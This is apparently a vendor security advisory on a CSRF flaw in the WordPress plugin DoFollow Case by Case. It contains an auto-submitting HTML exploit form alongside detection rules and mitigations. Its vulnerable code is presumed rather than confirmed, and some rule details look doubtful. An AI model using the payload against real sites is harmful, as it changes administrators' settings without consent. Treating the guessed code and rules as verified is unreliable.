CVE-2025-62102

Executive Summary

CVE-2025-62102 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the WordPress plugin DoFollow Case by Case, developed by Apasionados. This plugin is designed to manage dofollow/nofollow attributes on a per-case basis. The vulnerability affects all versions from n/a through 3.5.1. A successful CSRF attack can trick an authenticated administrator into executing unintended actions, such as modifying plugin settings, without their knowledge or consent. The CVSS v3.1 base score is 4.3 (Medium), with a vector emphasizing network-based exploitation, low attack complexity, and required user interaction. As of this report, no official patch is available, and no public exploit code has been identified.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and potentially through third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. Since no patch is available, the supply chain risk is elevated, as users must rely on manual mitigation or plugin deactivation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The vulnerable component remains the same.
• Confidentiality (C): None – No data exposure.
• Integrity (I): Low – Unauthorized modification of plugin settings is possible.
• Availability (A): None – No denial of service.

Threat Level: Medium. While the impact is limited to integrity, the low complexity and lack of authentication requirements make it a viable vector for phishing campaigns targeting WordPress administrators.

Deep Dive & Mechanics

The vulnerability stems from the absence of a nonce or CSRF token in the plugin's administrative actions. In WordPress, CSRF protection is typically implemented using a nonce (number used once) that is verified before processing state-changing requests. The dofollow-case-by-case plugin fails to implement such checks in its settings page or AJAX handlers.

Attack Flow:

1. An attacker crafts a malicious HTML page containing a form or image tag that submits a request to the vulnerable WordPress admin URL (e.g., /wp-admin/options-general.php?page=dofollow-case-by-case&action=update).
2. The attacker lures an authenticated administrator to visit this page (e.g., via email, social engineering, or a compromised site).
3. The victim's browser automatically sends the forged request, including their valid session cookies.
4. The plugin processes the request, altering settings (e.g., enabling dofollow on all links) without the administrator's intent.

Root Cause: Missing CSRF nonce validation in the plugin's admin-facing functions. The plugin likely uses check_admin_referer() incorrectly or not at all.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions <= 3.5.1. A typical vulnerable pattern in WordPress plugins is:

Vulnerable Code (PHP):

function dfcbc_save_settings() {
    if ( isset( $_POST['dfcbc_option'] ) ) {
        update_option( 'dfcbc_option', sanitize_text_field( $_POST['dfcbc_option'] ) );
    }
    // Missing nonce check
}
add_action( 'admin_post_dfcbc_save', 'dfcbc_save_settings' );

Patched Code (Hypothetical):

function dfcbc_save_settings() {
    // Verify nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'dfcbc_save_action' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
    if ( isset( $_POST['dfcbc_option'] ) ) {
        update_option( 'dfcbc_option', sanitize_text_field( $_POST['dfcbc_option'] ) );
    }
}
add_action( 'admin_post_dfcbc_save', 'dfcbc_save_settings' );

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress installation with the DoFollow Case by Case plugin (<= 3.5.1) activated.
• An authenticated administrator session (target).

Exploit HTML (CSRF Payload):

<html>
  <body>
    <h1>Click to Win a Prize!</h1>
    <form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
      <input type="hidden" name="action" value="dfcbc_save" />
      <input type="hidden" name="dfcbc_option" value="enable_dofollow_all" />
      <input type="submit" value="Claim Prize" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Usage: Host the HTML file on an attacker-controlled server and send the link to the victim. Upon visiting, the form auto-submits, changing the plugin settings.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unexpected changes to the dfcbc_option WordPress option in the database.
2. Review server logs for POST requests to /wp-admin/admin-post.php with action=dfcbc_save originating from external referrers.
3. Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce (challenging without plugin modification).

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with the vulnerable plugin.
• Simulate the attack using the provided HTML payload.
• Verify the setting change in the WordPress admin panel.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-post.php with parameter action=dfcbc_save.
  • Referrer header pointing to an external domain.
• Host/File:
  • Unexpected modification of the dfcbc_option value in the wp_options table.
  • Presence of suspicious admin users (if the CSRF is chained with other vulnerabilities).
• Logs:
  • WordPress debug log entries showing admin_post_dfcbc_save action without a valid nonce.

Detection Engineering

YARA Rule

rule CVE_2025_62102_CSRF_WordPress_Plugin {
    meta:
        description = "Detects DoFollow Case by Case plugin files missing CSRF nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62102"
    strings:
        $func1 = "admin_post_dfcbc_save" ascii wide nocase
        $func2 = "update_option" ascii wide nocase
        $nonce = "_wpnonce" ascii wide nocase
    condition:
        $func1 and $func2 and not $nonce
}

Sigma Rule

title: CVE-2025-62102 - CSRF Attempt on DoFollow Case by Case
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential CSRF exploitation attempts against the DoFollow Case by Case WordPress plugin.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=dfcbc_save'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present, but this rule does not check nonce)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62102 - CSRF Attempt on DoFollow Case by Case"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-post.php"; http_uri; content:"action=dfcbc_save"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Deactivate the plugin until an official patch is released.
2. Implement a WAF rule to block requests to /wp-admin/admin-post.php with action=dfcbc_save from untrusted referrers.
3. Educate administrators about phishing attacks that may exploit this vulnerability.

Long-Term Fix:

• The vendor must add CSRF nonce checks using wp_nonce_field() in forms and check_admin_referer() in processing functions.
• Users should monitor the plugin's page on WordPress.org for updates.

Workaround:

• Use a security plugin (e.g., Wordfence) that adds CSRF protection to all admin actions.

Report generated by Valters IT DevSecOps & CTI Division.